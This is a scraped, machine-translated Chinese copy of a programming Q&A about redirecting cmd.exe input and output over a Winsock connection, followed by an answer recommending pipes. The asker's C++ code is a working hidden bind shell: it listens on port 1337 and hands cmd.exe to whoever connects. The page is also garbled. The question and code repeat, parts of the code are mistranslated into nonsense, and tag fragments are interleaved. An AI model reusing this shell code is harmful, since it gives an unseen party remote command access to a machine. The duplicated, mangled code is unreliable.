>8)|(port,c++,sockets,networking,winsock,C++,Sockets,Networking,Winsock" /> >8)|(port,c++,sockets,networking,winsock,C++,Sockets,Networking,Winsock" />

StdIn/StdOut/StdErr重定向到WinSock连接 我一直试图重定向CMD.EXE的输入和输出,现在我已经在C语言中找到了如何实现它,但我仍然不知道如何在C++中正确地实现它。 我得到的最远的结果是popen(),它似乎在每次我向进程传递命令时都会重新打开进程,导致无法使用cd之类的命令,并且无法将以下服务器端函数移植到客户端: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <iostream> using namespace std; void ServerStart() { WSADATA wsa; SOCKET s; SOCKADDR_IN sAddr; USHORT port; PROCESS_INFORMATION pi; STARTUPINFO si; port = 1337;//Set listening port memset( &si, 0, sizeof( si ) ); si.cb = sizeof( si ); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; sAddr.sin_addr.s_addr = INADDR_ANY; sAddr.sin_port = (port >> 8) | (port << 8); sAddr.sin_family = AF_INET; WSAStartup( 0x0202, &wsa ); s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) ); listen( s, 5 ); __asm { push ebx mov ebx, s } s = accept( s, NULL, NULL );//Accept Client __asm { push ebx call DWORD PTR [closesocket]//Close if error. pop ebx } si.hStdInput = (HANDLE)s; si.hStdOutput = (HANDLE)s; si.hStdError = (HANDLE)s; CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );//Start the remote process WaitForSingleObject( pi.hProcess, INFINITE );//Allow Client to control remote process CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); closesocket( s ); WSACleanup(); ServerStart();//Server Start Loop } #定义WIN32_LEAN_和_MEAN #包括 #包括 #包括 使用名称空间std; void ServerStart() { WSADATA wsa; 插座; sAddr中的SOCKADDR_; 乌斯波特港; 处理信息; STARTUPINFO si; port=1337;//设置监听端口 memset(&si,0,sizeof(si)); si.cb=sizeof(si); si.wShowWindow=SW_HIDE; si.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; sAddr.sin\u addr.s\u addr=INADDR\u ANY; sAddr.sin_port=(port>>8)|(port

StdIn/StdOut/StdErr重定向到WinSock连接 我一直试图重定向CMD.EXE的输入和输出,现在我已经在C语言中找到了如何实现它,但我仍然不知道如何在C++中正确地实现它。 我得到的最远的结果是popen(),它似乎在每次我向进程传递命令时都会重新打开进程,导致无法使用cd之类的命令,并且无法将以下服务器端函数移植到客户端: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <iostream> using namespace std; void ServerStart() { WSADATA wsa; SOCKET s; SOCKADDR_IN sAddr; USHORT port; PROCESS_INFORMATION pi; STARTUPINFO si; port = 1337;//Set listening port memset( &si, 0, sizeof( si ) ); si.cb = sizeof( si ); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; sAddr.sin_addr.s_addr = INADDR_ANY; sAddr.sin_port = (port >> 8) | (port << 8); sAddr.sin_family = AF_INET; WSAStartup( 0x0202, &wsa ); s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) ); listen( s, 5 ); __asm { push ebx mov ebx, s } s = accept( s, NULL, NULL );//Accept Client __asm { push ebx call DWORD PTR [closesocket]//Close if error. pop ebx } si.hStdInput = (HANDLE)s; si.hStdOutput = (HANDLE)s; si.hStdError = (HANDLE)s; CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );//Start the remote process WaitForSingleObject( pi.hProcess, INFINITE );//Allow Client to control remote process CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); closesocket( s ); WSACleanup(); ServerStart();//Server Start Loop } #定义WIN32_LEAN_和_MEAN #包括 #包括 #包括 使用名称空间std; void ServerStart() { WSADATA wsa; 插座; sAddr中的SOCKADDR_; 乌斯波特港; 处理信息; STARTUPINFO si; port=1337;//设置监听端口 memset(&si,0,sizeof(si)); si.cb=sizeof(si); si.wShowWindow=SW_HIDE; si.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; sAddr.sin\u addr.s\u addr=INADDR\u ANY; sAddr.sin_port=(port>>8)|(port,c++,sockets,networking,winsock,C++,Sockets,Networking,Winsock,您不能直接使用WinSock套接字句柄进行stdin/out/err重定向。请改用CreatePipe()中的管道。您必须编写额外的 从套接字读取入站数据并将其写入stdin管道 从标准输出/错误管道读取数据并将其写入套接字 MSDN有一个使用管道进行重定向的示例: 您的\u asm块是不必要的。与其将原始的套接字保存到EBX以便覆盖它,不如使用第二个套接字变量。除非确实需要,否则不要将C/C++和汇编混合使用,而且这不是需要它的时候。

您不能直接使用WinSock套接字句柄进行stdin/out/err重定向。请改用
CreatePipe()
中的管道。您必须编写额外的

  • 从套接字读取入站数据并将其写入stdin管道
  • 从标准输出/错误管道读取数据并将其写入套接字
MSDN有一个使用管道进行重定向的示例:


您的
\u asm
块是不必要的。与其将原始的
套接字
保存到EBX以便覆盖它,不如使用第二个
套接字
变量。除非确实需要,否则不要将C/C++和汇编混合使用,而且这不是需要它的时候。